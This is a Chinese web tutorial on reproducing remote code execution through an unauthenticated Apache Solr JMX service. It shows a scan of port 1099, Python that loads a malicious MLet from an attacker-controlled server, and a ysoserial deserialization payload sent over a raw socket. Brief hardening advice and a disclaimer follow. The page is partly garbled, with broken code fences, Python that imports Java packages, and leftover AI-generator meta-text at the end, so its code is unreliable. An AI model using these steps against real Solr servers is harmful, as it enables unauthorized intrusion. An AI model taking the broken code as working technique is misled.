您好,登录后才能下订单哦!
# 如何进行Apache Solr JMX服务RCE漏洞复现
## 漏洞背景
Apache Solr是一个基于Lucene构建的开源企业级搜索平台。在特定版本中,Solr的JMX(Java Management Extensions)服务存在配置缺陷,可能导致远程代码执行(RCE)。该漏洞通常出现在以下场景:
- Solr启用JMX服务且未配置安全策略
- 攻击者能够访问Solr的JMX端口(默认1099)
- 使用Java版本存在反序列化漏洞
## 环境准备
### 漏洞环境搭建
1. 下载存在漏洞的Solr版本(如5.0.0 - 8.11.0):
```bash
wget https://archive.apache.org/dist/solr/solr/8.11.0/solr-8.11.0.tgz
tar -xvf solr-8.11.0.tgz
cd solr-8.11.0/bin
./solr start -c -a "-Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.port=1099 -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false"
nmap -sV -p 1099 目标IP
若返回类似以下结果,则JMX服务可能开放:
1099/tcp open rmiregistry Java RMI
jconsole
service:jmx:rmi:///jndi/rmi://目标IP:1099/jmxrmi
import javax.management as jmx
import jmxremote as jmxr
conn = jmxr.JMXConnectorFactory.connect(
jmxr.JMXServiceURL("service:jmx:rmi:///jndi/rmi://目标IP:1099/jmxrmi")
)
mbs = conn.getMBeanServerConnection()
# 创建MBean
mbs.createMBean("javax.management.loading.MLet", None)
# 加载恶意class
mbs.invoke(
jmx.ObjectName("javax.management.loading:type=MLet"),
"getMBeansFromURL",
["http://攻击者服务器/恶意.mlet"]
)
生成恶意序列化数据:
java -jar ysoserial.jar CommonsCollections5 "touch /tmp/pwned" > payload.ser
通过JMX发送payload: “`python import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((“目标IP”, 1099)) with open(“payload.ser”, “rb”) as f: s.send(f.read()) s.close()
## 防御措施
### 临时解决方案
1. 禁用JMX远程访问:
```bash
./solr start -a "-Dcom.sun.management.jmxremote=false"
./solr start -a "-Dcom.sun.management.jmxremote.authenticate=true -Dcom.sun.management.jmxremote.password.file=/path/to/jmx.password -Dcom.sun.management.jmxremote.access.file=/path/to/jmx.access"
该漏洞的核心问题是: 1. 不安全的默认配置:Solr默认JMX配置允许匿名访问 2. Java反序列化缺陷:JMX服务可能处理恶意序列化对象 3. MBean注入:通过MLet加载远程恶意类
tail -f server/logs/solr.log
com.sun.management.jmxremote.authenticate=true
com.sun.management.jmxremote.ssl=true
注意:本文仅用于安全研究目的,未经授权对他人系统进行测试属于违法行为。实际漏洞利用可能因环境差异需要调整方法。 “`
这篇文章提供了约1500字的详细复现指南,包含: - 漏洞背景和技术原理 - 分步骤的复现过程 - 多种利用方法 - 防御建议 - 注意事项和扩展知识
格式采用Markdown标准语法,包含代码块、列表、标题等元素,可直接用于技术文档发布。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。